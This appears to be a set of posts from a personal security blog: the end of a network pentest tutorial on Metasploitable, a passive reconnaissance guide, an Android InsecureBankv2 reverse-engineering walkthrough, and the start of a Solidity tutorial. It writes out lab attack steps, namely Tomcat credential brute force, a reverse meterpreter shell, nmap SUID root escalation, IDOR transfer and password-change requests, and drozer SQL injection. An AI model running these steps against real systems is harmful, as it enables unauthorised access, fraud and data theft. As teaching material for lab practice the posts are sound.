/admin/admin.jsp: Possible admin folder | /admin/home.jsp: Possible admin folder | /admin/controlpanel.jsp: Possible admin folder | /admin/admin-login.jsp: Possible admin folder | /admin/cp.jsp: Possible admin folder | /admin/account.jsp: Possible admin folder | /admin/admin_login.jsp: Possible admin folder | /admin/adminLogin.jsp: Possible admin folder | /manager/html/upload: Apache Tomcat (401 Unauthorized) | /manager/html: Apache Tomcat (401 Unauthorized) | /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html: OpenCart/FCKeditor File upload | /admin/includes/FCKeditor/editor/filemanager/upload/test.html: ASP Simple Blog / FCKeditor File Upload | /admin/jscript/upload.html: Lizard Cart/Remote File upload |_ /webdav/: Potentially interesting folder |_http-server-header: Apache-Coyote/1.1 |_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. MAC Address: 08:00:27:4F:B5:C2 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 76.93 seconds OpenVAS Run openvas from docker image at https://github.com/immauss/openvas. Login into your openvas account on your localhost, create a new task for target Metasploitable virtual machine and run the task. You should see the following report after scan is finished:\nNessus Nessus is a paid vulnerability scanner but it allows up to 16 hosts used for free. Open nessus on your localhost, login, set up a new Basic Network Scan and run the scan. After the scan is finished you should see the following report:\nPort by port At this stage we have all the information about services, ports, possible CVEs and possible vectors. Now, we should go port by port and try to perform the following tasks:\nExploit vulnerability on port (if it exists) Privilege escalation Persistence Exploiting Take a look at the port 8180 where we can see the Apache Tomcat server. Click on the Status link and Apache will ask for user and password. We can try to bruteforce the credentials using Metasploit. Open msfconsole, then run:\nmsf6 \u0026gt; use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(scanner/http/tomcat_mgr_login) \u0026gt; set RHOSTS 192.168.0.106 msf6 auxiliary(scanner/http/tomcat_mgr_login) \u0026gt; set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) \u0026gt; run You can see the following output:\n[+] 192.168.0.106:8180 - Login Successful: tomcat:tomcat [-] 192.168.0.106:8180 - LOGIN FAILED: both:admin (Incorrect) [-] 192.168.0.106:8180 - LOGIN FAILED: both:manager (Incorrect) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Default login and password tomcat seem to be working.\nNow click Status =\u0026gt; enter tomcat for login and password =\u0026gt; List Applications. You can see the Upload button where we can upload a shell. Run:\nmsf6 \u0026gt; use exploit/multi/http/tomcat_mgr_deploy msf6 exploit(multi/http/tomcat_mgr_deploy) \u0026gt; set HttpPassword tomcat msf6 exploit(multi/http/tomcat_mgr_deploy) \u0026gt; set HttpUsername tomcat msf6 exploit(multi/http/tomcat_mgr_deploy) \u0026gt; set RHOSTS 192.168.0.106 msf6 exploit(multi/http/tomcat_mgr_deploy) \u0026gt; set RPORT 8180 msf6 exploit(multi/http/tomcat_mgr_deploy) \u0026gt; run You will get a meterpreter session:\n[*] Started reverse TCP handler on 192.168.0.105:4444 [*] Attempting to automatically select a target... [*] Automatically selected target \u0026#34;Linux x86\u0026#34; [*] Uploading 6216 bytes as Sygg5.war ... [*] Executing /Sygg5/mDnNj.jsp... [*] Undeploying Sygg5 ... [*] Sending stage (58082 bytes) to 192.168.0.106 [*] Meterpreter session 1 opened (192.168.0.105:4444 -\u0026gt; 192.168.0.106:36611) at 2021-09-10 17:12:03 +0300 meterpreter \u0026gt; sysinfo Computer : metasploitable OS : Linux 2.6.24-16-server (i386) Meterpreter : java/linux meterpreter \u0026gt; getuid Server username: tomcat55 Privilege escalation To get root access we can search for SUID set binaries. Run:\nmeterpreter \u0026gt; shell find / -perm -u=s -type f 2\u0026gt;/dev/null You will see the following binaries:\n/bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/netkit-rlogin /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/nmap /usr/bin/chsh /usr/bin/netkit-rcp /usr/bin/passwd /usr/bin/mtr /usr/sbin/uuidd /usr/sbin/pppd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/pt_chown Run:\nnmap --interactive nmap\u0026gt; !sh whoami You should see the root keyword.\nPersistence There are a few ways to maintain persistence:\nAdd SSH key Server shell (php, etc\u0026hellip;) CRON job User’s .bashrc file Services sudoers SUID files Report When all ports are scanned then it is time to write a report. You can find an example report here https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf\n","permalink":"https://www.ryzhak.com/network-penetration-testing/","summary":"In this tutorial we’re going to identify running services on the target server and try to exploit them.","title":"Network penetration testing"},{"content":"The 1st step of any penetration test is gathering information about the target company. In this tutorial we will go through all the steps required for passive information gathering.\nPublic company information Try to get the following data:\nCompany location and addresses. All company email addresses (https://hunter.io/). Company structure. There could be some companies acquired by the target company. Legal info like company tax number. Founders info. Company blog articles can reveal information about the tech stack. Company social media data in most popular social media platforms like instagram, facebook, etc. Company vacancies to get more info about the tech stack Company employee information Try to get the following data:\nNames Emails Phones Job positions Social media data Website tech stack Get tech stack info from the following services:\nhttps://builtwith.com/ https://www.wappalyzer.com/ https://w3techs.com/sites https://whatcms.org/ Google dorks Try common google dorks from https://pentest-tools.com/information-gathering/google-hacking Based on previously collected data (server version, CMS, etc.) try google dorks from https://www.exploit-db.com/google-hacking-database Check the target website and try to find what files are stored and could be leaked. Try google dorks based on common sense. For example, if a website is a social media platform then some images can be indexed. Or, for example, tourism websites can leak users’ IDs. Other tools https://www.shodan.io Try to find source code at https://github.com Get whois info and all domains at the target ip from https://whois.domaintools.com/ DNS enumeration fierce --domain onrealt.ru anubis -t onrealt.ru https://site-analyzer.pro/services-seo/site-all-subdomains/ https://search.censys.io/ https://rapiddns.io/ ","permalink":"https://www.ryzhak.com/passive-information-gathering/","summary":"The 1st step of any penetration test is gathering information about the target company. In this tutorial we will go through all the steps required for passive information gathering.","title":"Passive information gathering"},{"content":"Hello everybody. In this tutorial we’re going to reverse engineer a vulnerable android app, find all vulnerabilities and create a report.\nTools We will use the following tools:\nhttps://github.com/pxb1988/dex2jar https://github.com/skylot/jadx https://ibotpeaches.github.io/Apktool https://github.com/appium-boneyard/sign https://portswigger.net/burp https://github.com/FSecureLABS/drozer I won\u0026rsquo;t cover installation of all of the tools, only tricky ones.\nCreating a virtual device We should create an android virtual device without google play and google services in order to be able to get access to all file system folders of the device.\nRun android studio ( v2020.3.1 in my case) and open AVD manager. Click on Create Virtual Device, then select a device without Google Play, for example Nexus S:\nHit Next. Now select x86 images tab and select android version without Google APIs:\nHit Next. Set AVD Name, in my case it is gonna be Rooted and hit Finish.\nInstalling drozer Drozer consists of 2 parts: console app and android app. To install the console app I had to run apt install drozer on my linux machine.\nOpen https://labs.f-secure.com/tools/drozer/ and download the drozer agent apk file on your local computer. Run your newly created android emulator. Create an empty android app in android studio. In android studio open Device File Explorer and upload drozer agent apk to Download folder, in my case the path was /storage/emulated/0/Download:\nIn the android emulator open Files =\u0026gt; Downloads and install drozer agent. Run the drozer agent apk. Now you should forward ports so that you could connect to the drozer app from your local machine. Run adb forward tcp:31415 tcp:31415. In the android drozer app click the ON button at the bottom of the screen. Now open the console on your local computer and run drozer console connect. You should be connected to the drozer app:\nInstalling insecurebankv2 In this section we will install a vulnerable android app from this repo: https://github.com/dineshshetty/Android-InsecureBankv2 . Run git clone https://github.com/dineshshetty/Android-InsecureBankv2. Now go to the AndroLabServer folder which has a server side code and install all of the requirements via pip install -r requirements.txt. Run python app.py to run the server. Server backend was written with python 2 so I actually had to run python2 app.py.\nNow in the project directory find the file InsecureBankv2.apk. This is our vulnerable android app. Using device file explorer in android studio upload this file to the Download folder and install the app the same way you earlier installed the drozer app.\nNow open the insecure bank app. In the preferences screen set the server ip to 10.0.2.2 (android proxies request from this ip to your local machine) and server port to 8888:\nThe insecure bank app has the following presaved user credentials:\ndinesh/Dinesh@123$ jack/Jack@123$ Now try to login with the credentials above. You should be able to login and see server request in the console:\nSetting up burp suite In this section we will set up a burp suite to intercept requests from the android app to the server. Open burp suite, in my case I’m using Burp Suite Community Edition v2021.8.2, select Proxy tab, hit Intercept button to disable request interception, then select Options and add a new proxy for all interfaces on port 8081:\nNow in the burp suite in the Proxy tab hit the Intercept tab. Then click on the Open browser button. Built-in burp browser should be opened. In the web address input type burp and hit enter. You should see the following screen:\nClick on the CA Certificate button on the top right corner and download burp certificate. Rename the downloaded certificate from cacert.der to cacert.cer as android does not understand the der extension. Upload certificate to the device using device file explorer in android studio. Now in android emulator open Settings =\u0026gt; Network \u0026amp; internet =\u0026gt; Wi-Fi =\u0026gt; Wi-Fi preferences =\u0026gt; Advanced =\u0026gt; Install certificates, select burp’s certificate from the Download folder =\u0026gt; set any name and VPN and apps for credential use =\u0026gt; OK. You should see your certificate in Settings =\u0026gt; Security =\u0026gt; Encryption \u0026amp; credentials =\u0026gt; Trusted credentials =\u0026gt; User tab:\nNow get your local ip address. Run ifconfig:\nIn my case it is 192.168.0.105.\nIn android emulator open Settings =\u0026gt; Network \u0026amp; internet =\u0026gt; Wi-Fi =\u0026gt; Cogs icon =\u0026gt; Edit icon =\u0026gt; Advanced options =\u0026gt; set your ip address in proxy hostname and port 8081(the one from burp) and click Save:\nNow you should be able to intercept requests from insecure bank app to the server. In burp enable the Intercept toggler in the Proxy tab. Open insecure bank app, in the preferences screen set server ip to your local ip and server port to 8888(the one where python server is running). Try to login. Request should be intercepted in burp:\nAPI issues In this section we will go through all API requests made by the insecure bank app to check for available issues. Login to the app using any of the presaved accounts and check all the screens and app features.\nUser enumeration Try to login with a non existing user:\nPOST /login HTTP/1.1 Content-Length: 35 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=invalid_user\u0026amp;password=1234 You will get the following server response:\n{\u0026#34;message\u0026#34;: \u0026#34;User Does not Exist\u0026#34;, \u0026#34;user\u0026#34;: \u0026#34;invalid_user\u0026#34;} Server tells us that the user does not exist. It means that we can try to brute force all available logins. Server should respond with a more general error like Invalid credentials.\nTransfer issue Login with a dinesh account and try to make a funds transfer. You will see the following request:\nPOST /dotransfer HTTP/1.1 Content-Length: 85 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=dinesh\u0026amp;password=Dinesh%40123%24\u0026amp;from_acc=888888888\u0026amp;to_acc=666666666\u0026amp;amount=1 Now login with a jack account and try to make a funds transfer. You will see the following request:\nPOST /dotransfer HTTP/1.1 Content-Length: 81 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack\u0026amp;password=Jack%40123%24\u0026amp;from_acc=999999999\u0026amp;to_acc=555555555\u0026amp;amount=1 So dinesh has account number 888888888 and jack has account number 999999999. If you login from jack account and set dinesh account number in From Account field in transfer screen then jack will transfer funds from dinesh account instead of his own:\nPOST /dotransfer HTTP/1.1 Content-Length: 81 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack\u0026amp;password=Jack%40123%24\u0026amp;from_acc=888888888\u0026amp;to_acc=555555555\u0026amp;amount=1 Server response:\n{\u0026#34;to\u0026#34;: \u0026#34;555555555\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Success\u0026#34;, \u0026#34;from\u0026#34;: \u0026#34;888888888\u0026#34;, \u0026#34;amount\u0026#34;: \u0026#34;1\u0026#34;} Password issue Login with the dinesh account and try to update a password. You will see the following request:\nPOST /changepassword HTTP/1.1 Content-Length: 41 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=dinesh\u0026amp;newpassword=12345678qQ%40 If you intercept the request and change the username to jack then you will be able to update password of the jack account:\nPOST /changepassword HTTP/1.1 Content-Length: 41 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack\u0026amp;newpassword=12345678qQ%40 Server response:\n{\u0026#34;message\u0026#34;: \u0026#34;Change Password Successful\u0026#34;} Decompiling using dex2jar Create a new folder wip, inside the wip folder create a new folder source and put the InsecureBankv2.apk file there. From a wip folder, using your own paths to dex2jar tool, run sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/InsecureBankv2.apk. You should see the InsecureBankv2-dex2jar.jar file appear in the wip folder.\nNow open jadx-gui and select InsecureBankv2-dex2jar.jar. You should the source java code of the app:\nDecompiling using apktool Now run apktool d source/InsecureBankv2.apk. You should see the InsecureBankv2 folder with all app resource files and smali code:\nSource code issues Admin backdoor Take a look at the com.android.insecurebankv2.DoLogin at the following code in postData() method:\nif (DoLogin.this.username.equals(\u0026#34;devadmin\u0026#34;)) { httpPost2.setEntity(new UrlEncodedFormEntity(arrayList)); execute = defaultHttpClient.execute(httpPost2); } else { httpPost.setEntity(new UrlEncodedFormEntity(arrayList)); execute = defaultHttpClient.execute(httpPost); } You can see that if the username equals devadmin then the request goes to some other API method. Try to login with devadmin username and empty password. You should be able to successfully login.\nHidden content Take a look at the com.android.insecurebankv2.LoginActivity at the following code in onCreate() method:\nif (getResources().getString(R.string.is_admin).equals(\u0026#34;no\u0026#34;)) { findViewById(R.id.button_CreateUser).setVisibility(8); } You can see that there is some button that is hidden when the resource string is_admin equals no. Open the decompiled InsecureBankv2 folder, the open res/values/strings.xml file. Find the is_admin string and change it to yes. Now build the app via apktool b InsecureBankv2 and sign it via the sign tool, in my case the command is java -jar /home/vladimir/Public/program_files/sign-1.0.jar InsecureBankv2/dist/InsecureBankv2.apk. You should see a new signed apk InsecureBankv2.s.apk in the InsecureBankv2/dist folder. Install this signed apk via adb install InsecureBankv2/dist/InsecureBankv2.s.apk. Open the app, you should see that hidden button Create User is visible now:\nModifying smali code Basically it is not an issue, I will just show that you can modify smali code to edit app’s source code. When you login you see a screen with a label Device not rooted:\nLet’s modify the source code so that the label is Rooted device. Take a look at the com.android.insecurebankv2.PostLogin class at the following method:\npublic void showRootStatus() { if (doesSuperuserApkExist(\u0026#34;/system/app/Superuser.apk\u0026#34;) || doesSUexist()) { this.root_status.setText(\u0026#34;Rooted Device!!\u0026#34;); } else { this.root_status.setText(\u0026#34;Device not Rooted!!\u0026#34;); } } You can see in the 1st condition that if Superuser.apk exists then the label is set to the Rooted device. Open smali code of the above class in InsecureBankv2/smali/com/android/insecurebankv2/PostLogin.smali and find the showRootStatus() method:\n.method showRootStatus()V .locals 3 .prologue const/4 v1, 0x1 .line 86 const-string v2, \u0026#34;/system/app/Superuser.apk\u0026#34; invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;-\u0026gt;doesSuperuserApkExist(Ljava/lang/String;)Z move-result v2 if-nez v2, :cond_0 ... other code You can see that the v2 register holds the result of the check that the file Superuser.apk exists. Then if the v2 register is not empty then proceed to condition cond_0. We don’t have the file Superuser.apk anywhere so the v2 register will always hold an empty result. All we have to do is modify the condition from “if file Superuser.apk exists”( if-nez v2, :cond_0) to “if the Superuser.apk file is empty”( if-eqz v2, :cond_0). So the modified code is:\n.method showRootStatus()V .locals 3 .prologue const/4 v1, 0x1 .line 86 const-string v2, \u0026#34;/system/app/Superuser.apk\u0026#34; invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;-\u0026gt;doesSuperuserApkExist(Ljava/lang/String;)Z move-result v2 if-eqz v2, :cond_0 ...other code Now build the app using the apk tool and sign it(as in the previous step). Install the app and open it. You should see the label Rooted device:\nInsecure cryptography Take a look at the com.android.insecurebankv2.DoLogin class. On user login the credentials are saved via the saveCreds() method:\nprivate void saveCreds(String str, String str2) throws UnsupportedEncodingException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException { SharedPreferences.Editor edit = DoLogin.this.getSharedPreferences(\u0026#34;mySharedPreferences\u0026#34;, 0).edit(); DoLogin.this.rememberme_username = str; DoLogin.this.rememberme_password = str2; String str3 = new String(Base64.encodeToString(DoLogin.this.rememberme_username.getBytes(), 4)); CryptoClass cryptoClass = new CryptoClass(); DoLogin.this.superSecurePassword = cryptoClass.aesEncryptedString(DoLogin.this.rememberme_password); edit.putString(\u0026#34;EncryptedUsername\u0026#34;, str3); edit.putString(\u0026#34;superSecurePassword\u0026#34;, DoLogin.this.superSecurePassword); edit.commit(); } You can see that login and password are encrypted via the CryptoClass and stored to shared preferences. If you take a look at the com.android.insecurebankv2.CryptoClass you can see that the private key is hard coded directly in the source code. You can get this private key and decrypt login and password as shared preferences are accessible by other apps.\nStorage It is always a good idea to check the data folder of the target app:\nDatabase Download mydb SQLite db file to your local machine and open via any database editor. I’m using Valentina Studio. Sadly there is a single table names but sometimes you may find a useful information:\nShared preferences There are also 2 xml files of the shared preferences.\nThe 1st one mySharedPreferences.xml is for storing server connection settings:\n\u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39; standalone=\u0026#39;yes\u0026#39; ?\u0026gt; \u0026lt;map\u0026gt; \u0026lt;string name=\u0026#34;serverport\u0026#34;\u0026gt;8888\u0026lt;/string\u0026gt; \u0026lt;string name=\u0026#34;serverip\u0026#34;\u0026gt;192.168.0.105\u0026lt;/string\u0026gt; \u0026lt;/map\u0026gt; The 2nd one com.android.insecurebankv2_preferences.xml stores encrypted login and password:\n\u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39; standalone=\u0026#39;yes\u0026#39; ?\u0026gt; \u0026lt;map\u0026gt; \u0026lt;string name=\u0026#34;superSecurePassword\u0026#34;\u0026gt;EDlH1wWpNSJyUHf55F31FQ==\u0026amp;#10; \u0026lt;/string\u0026gt; \u0026lt;string name=\u0026#34;EncryptedUsername\u0026#34;\u0026gt;ZGV2YWRtaW4=\u0026amp;#13;\u0026amp;#10; \u0026lt;/string\u0026gt; \u0026lt;/map\u0026gt; But we have already discussed that those credentials can be decrypted as private key is hardcoded in the source code.\nLog You can also check the adb logcat output for some information disclosure. On user login you can see the following line in the adb logcat:\n2021-08-31 23:34:36.343 7504-7547/com.android.insecurebankv2 D/Successful Login:: , account=dinesh:Dinesh@123$\nLogin and password are logged as plain text. Some other apps may read the adb output logs and find out your login and password.\nDrozer General app info First of all let’s get some more information about the app. Run the drozer console app via drozer console connect(don’t forget that drozer android client should be up and running on your emulator with forwarded ports as we already discussed in the Installing drozer section).\nRun run app.package.info -a com.android.insecurebankv2 to get some basic info about the app:\ndz\u0026gt; run app.package.info -a com.android.insecurebankv2 Package: com.android.insecurebankv2 Application Label: InsecureBankv2 Process Name: com.android.insecurebankv2 Version: 1.0 Data Directory: /data/user/0/com.android.insecurebankv2 APK Path: /data/app/com.android.insecurebankv2-Yv9MN8p3cMS59voDQ3HmGQ==/base.apk UID: 10106 GID: [3003] Shared Libraries: [/system/framework/org.apache.http.legacy.jar] Shared User ID: null Uses Permissions: - android.permission.INTERNET - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.SEND_SMS - android.permission.USE_CREDENTIALS - android.permission.GET_ACCOUNTS - android.permission.READ_PROFILE - android.permission.READ_CONTACTS - android.permission.READ_PHONE_STATE - android.permission.READ_CALL_LOG - android.permission.ACCESS_NETWORK_STATE - android.permission.ACCESS_COARSE_LOCATION - android.permission.READ_EXTERNAL_STORAGE - android.permission.ACCESS_BACKGROUND_LOCATION Defines Permissions: - None Now run run app.package.attacksurface com.android.insecurebankv2 to get a list of exported activities, services, broadcast receivers and content providers:\ndz\u0026gt; run app.package.attacksurface com.android.insecurebankv2 Attack Surface: 5 activities exported 1 broadcast receivers exported 1 content providers exported 0 services exported is debuggable Activities To get a list of all activities run run app.activity.info -a com.android.insecurebankv2:\ndz\u0026gt; run app.activity.info -a com.android.insecurebankv2 Package: com.android.insecurebankv2 com.android.insecurebankv2.LoginActivity Permission: null com.android.insecurebankv2.PostLogin Permission: null com.android.insecurebankv2.DoTransfer Permission: null com.android.insecurebankv2.ViewStatement Permission: null com.android.insecurebankv2.ChangePassword Permission: null You can see that we can open PostLogin activity bypassing the login screen. Run run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin. Insecure bank app should be opened and you should see the PostLogin screen. Notice that at the time of executing the command the android drozer client must be opened in the foreground.\nBroadcast receivers To get a list of exported broadcast receivers run run app.broadcast.info -a com.android.insecurebankv2 -i:\ndz\u0026gt; run app.broadcast.info -a com.android.insecurebankv2 -i Package: com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver Intent Filter: Actions: - theBroadcast Permission: null Now check the source code of com.android.insecurebankv2.MyBroadcastReceiver:\npublic void onReceive(Context context, Intent intent) { String stringExtra = intent.getStringExtra(\u0026#34;phonenumber\u0026#34;); String stringExtra2 = intent.getStringExtra(\u0026#34;newpass\u0026#34;); if (stringExtra != null) { try { SharedPreferences sharedPreferences = context.getSharedPreferences(\u0026#34;mySharedPreferences\u0026#34;, 1); this.usernameBase64ByteString = new String(Base64.decode(sharedPreferences.getString(\u0026#34;EncryptedUsername\u0026#34;, null), 0), \u0026#34;UTF-8\u0026#34;); String aesDeccryptedString = new CryptoClass().aesDeccryptedString(sharedPreferences.getString(\u0026#34;superSecurePassword\u0026#34;, null)); String str = stringExtra.toString(); String str2 = \u0026#34;Updated Password from: \u0026#34; + aesDeccryptedString + \u0026#34; to: \u0026#34; + stringExtra2; SmsManager smsManager = SmsManager.getDefault(); System.out.println(\u0026#34;For the changepassword - phonenumber: \u0026#34; + str + \u0026#34; password is: \u0026#34; + str2); smsManager.sendTextMessage(str, null, str2, null, null); } catch (Exception e) { e.printStackTrace(); } } else { System.out.println(\u0026#34;Phone number is null\u0026#34;); } } You can see that it receives 2 strings: phonenumber and newpass. Then it sends a local sms message that the user password was updated. Any other app can call this broadcast receiver and trick the user to open an external url or whatever.\nRun run app.broadcast.send --action theBroadcast --extra string phonenumber +123456 --extra string newpass YOUR_NEW_PASSWORD to send a local reset message sms. You should see a new sms message:\nContent providers To get a list of exported URIs run run app.provider.finduri com.android.insecurebankv2:\ndz\u0026gt; run app.provider.finduri com.android.insecurebankv2 Scanning com.android.insecurebankv2... content://com.android.insecurebankv2.TrackUserContentProvider/ content://com.google.android.gms.games content://com.android.insecurebankv2.TrackUserContentProvider content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ content://com.google.android.gms.games/ To get a list of vulnerable URIs for SQL injection run run scanner.provider.injection -a com.android.insecurebankv2:\ndz\u0026gt; run scanner.provider.injection -a com.android.insecurebankv2 Scanning com.android.insecurebankv2... Not Vulnerable: content://com.android.insecurebankv2.TrackUserContentProvider/ content://com.google.android.gms.games content://com.google.android.gms.games/ content://com.android.insecurebankv2.TrackUserContentProvider Injection in Projection: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ Injection in Selection: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ You can see that we can inject SQL code in the projection section. Run run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection \u0026quot;* FROM sqlite_master; --\u0026quot; to get a list of all available table names:\ndz\u0026gt; run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection \u0026#34;* FROM sqlite_master; --\u0026#34; | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | names | names | 4 | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) | | table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq) | Services Insecure bank app does not export any services but you can find a great “drozer services cheat sheet” here: https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial#services\nCVSS It is always a good practise to set a CVSS(Common Vulnerability Scoring System) score to any issue that you’ve found. You can open a CVSS calculator at https://www.first.org/cvss/calculator/3.0 and calculate a score.\nLet’s take a vulnerable exported broadcast receiver where any app can send an action and the user will see an sms message “your password has been updated” although real password change is not performed.\nAttack Vector (AV): local (malicious app should be locally installed on user device) Attack Complexity (AC): Low (it is very simple send a malicious android intent) Privileges Required (PR): None User Interaction (UI): Required (user must open a malicious app) Scope (S): Changed (sms message can contain a link to some other service) Confidentiality (C): Low (password is not really updated) Integrity (I): None (password is not really updated) Availability (A): Low (malicious app can spam sms messages) So we get a medium score: 5.0\nReport When all assessments are done it is time to write a report with all the issues and remediations. You can see an example report here: https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf\nSummary This summary is just a shorthand of all the steps and commands:\nCreate an android virtual device without Google Play and Google services Setup burp enable proxy in burp in android device setup proxy in wifi settings upload and install CA burp suite certificate on android device (open internal burp’s web browser and open burp address) certificate should be visible in Settings =\u0026gt; Trusted Credentials Using burp suite analyze app\u0026rsquo;s server requests and responses to find potential flaws Decompile apk using dex2jar and check decompiled java sources sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/source.com.apk =\u0026gt; decompile via dex2jar Decompile apk using apktool and check resources (AndroidManifest.xml, xml resources, other files if available) apktool d yourapp.apk =\u0026gt; decompile using apktool Check app storage: /data/data/com.android.yourapp folder, xml files of shared preferences, sqlite db, logcat output Setup drozer install drozer client app on android device adb forward tcp:31415 tcp:31415 =\u0026gt; forward drozer ports drozer console connect =\u0026gt; connect to drozer console Drozer (general app info) run app.package.info -a com.android.yourapp =\u0026gt; get general app info run app.package.attacksurface com.android.yourapp =\u0026gt; get general attack surface Drozer (activities) run app.activity.info -a com.android.yourapp =\u0026gt; get list of activities run app.activity.start --component com.android.yourapp com.android.yourapp.SecureActivity =\u0026gt; run activity Drozer (broadcast receivers) run app.broadcast.info -a com.android.yourapp -i =\u0026gt; get info about broadcast receivers run app.broadcast.send --action ACTION_NAME --extra string name value --extra string name2 value2 =\u0026gt; send intent with params to broadcast receiver Drozer (content providers) run app.provider.finduri com.android.yourapp =\u0026gt; get a list of content providers uris run scanner.provider.injection -a com.android.yourapp =\u0026gt; get a list of vulnerable uris run app.provider.query content://com.android.yourapp/users --projection \u0026quot;* FROM sqlite_master; --\u0026quot; =\u0026gt; run SQL injection to list all available table names Drozer (services) https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial#services Report CVSS score High level description with issue and video with potentially great impact Step by step guide with screenshots Explanation how to remediate the issue How to reinstall a modified app:\napktool d yourapp.apk modify smali apktool b yourapp --use-aapt2 (or omit “\u0026ndash;use-aapt2”) java -jar /home/vladimir/Public/program_files/sign-1.0.jar yourapp/dist/yourapp.apk adb install yourapp/dist/yourapp.s.apk ","permalink":"https://www.ryzhak.com/android-reverse-engineering/","summary":"Hello everybody. In this tutorial we’re going to reverse engineer a vulnerable android app, find all vulnerabilities and create a report.","title":"Android reverse engineering"},{"content":"In this tutorial we are going to write a smart contact in Solidity language that can prove file ownership.\nHi guys! So I\u0026rsquo;m starting this series of tutorials to get to grips with Ethereum and how to work with it. I highly recommend study the following docs at first(though it took me ~3 weeks it was worth it):\n- Ethereum documentation - Solidity documentation. Solidity is one of the languages for creating smart contracts(programs) for Ethereum blockchain. - JSON RPC API. It is a protocol for communication with your mining node(server). You may just look through the methods it provides. - Web3 JavaScript API. This is a client side API. For example you can control your node from a web browser.\nYour first smart contract We will store the hash of the file and the owner\u0026rsquo;s name to achieve proof of ownership. We will also store the hash of the file and the block timestamp to achieve proof of existence. Finally, the file integrity is achieved by storing the file hash. When you change the file its hash is also modified.\nI\u0026rsquo;m going to use VS Code for writing smart contracts with this extension.\nSo create a new file proof.sol with the following code:\ncontract Proof { struct FileDetails { uint timestamp; string owner; } mapping (string =\u0026gt; FileDetails) files; event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash); // to store the owner of file at the block timestamp function set(string owner, string fileHash) { // if filehash not exists then set it if(files[fileHash].timestamp == 0) { files[fileHash] = FileDetails(block.timestamp, owner); // we are triggering an event so that the frontend of our app knows // that the file\u0026#39;s existence and ownership details have been stored logFileAddedStatus(true, block.timestamp, owner, fileHash); } else { // file\u0026#39;s details has already been stored earlier logFileAddedStatus(false, block.timestamp, owner, fileHash); } } // get file information function get(string fileHash) returns (uint timestamp, string owner) { return (files[fileHash].timestamp, files[fileHash].owner); } } Compiling and deploying your first contract There are 2 ways to compile your smart contract(the .sol file): 1. solc compiler 2. Remix – Solidity IDE.\nWe\u0026rsquo;re going to user Remix – the online Solidity IDE with the built in compile function.\nSo open Remix and paste the contract code there.\nThen click on “Start to compile” and “Details”. In the “WEB3DEPLOY” section you will find the code similar to the following:\nvar proofContract = 